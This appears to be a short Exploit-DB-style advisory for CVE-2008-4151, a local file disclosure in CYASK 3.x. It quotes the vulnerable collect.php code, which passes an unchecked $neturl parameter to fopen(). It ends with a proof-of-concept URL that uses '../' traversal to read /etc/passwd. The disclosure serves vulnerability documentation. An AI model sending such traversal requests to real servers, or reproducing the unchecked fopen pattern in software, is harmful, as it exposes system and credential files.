CYASK 3.x - 'neturl' Local File Disclosure

Author: xy7
type: webapps
platform: php
port: 
date_added: 2008-09-17 
date_updated: 2016-12-22 
verified: 1 
codes: OSVDB-48496;CVE-2008-4151 
tags: 
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This vulnerability leads to that the attacker can read any file on your webserver when it installs cyask.

The $neturl variable in collect.php is short of enough check. When the attacker registers a new user, he can pass
the user check and then submit any filename to $neturl so that collect.php can read it.

The vuln code like this:
$url=get_referer();
    $neturl=empty($_POST['neturl']) ? trim($_GET['neturl']) : trim($_POST['neturl']);

    $collect_url=empty($neturl) ? $url : $neturl;

    $contents = '';
    if($fid=@fopen($collect_url,"r"))
    {
        do
        {
            $data = fread($fid, 4096);
            if (strlen($data) == 0)
            {
                break;
            }
            $contents .= $data;
        }
        while(true);
        fclose($fid);
    }

POC:
http://XXX.com/collect.php?neturl=../../../etc/passwd

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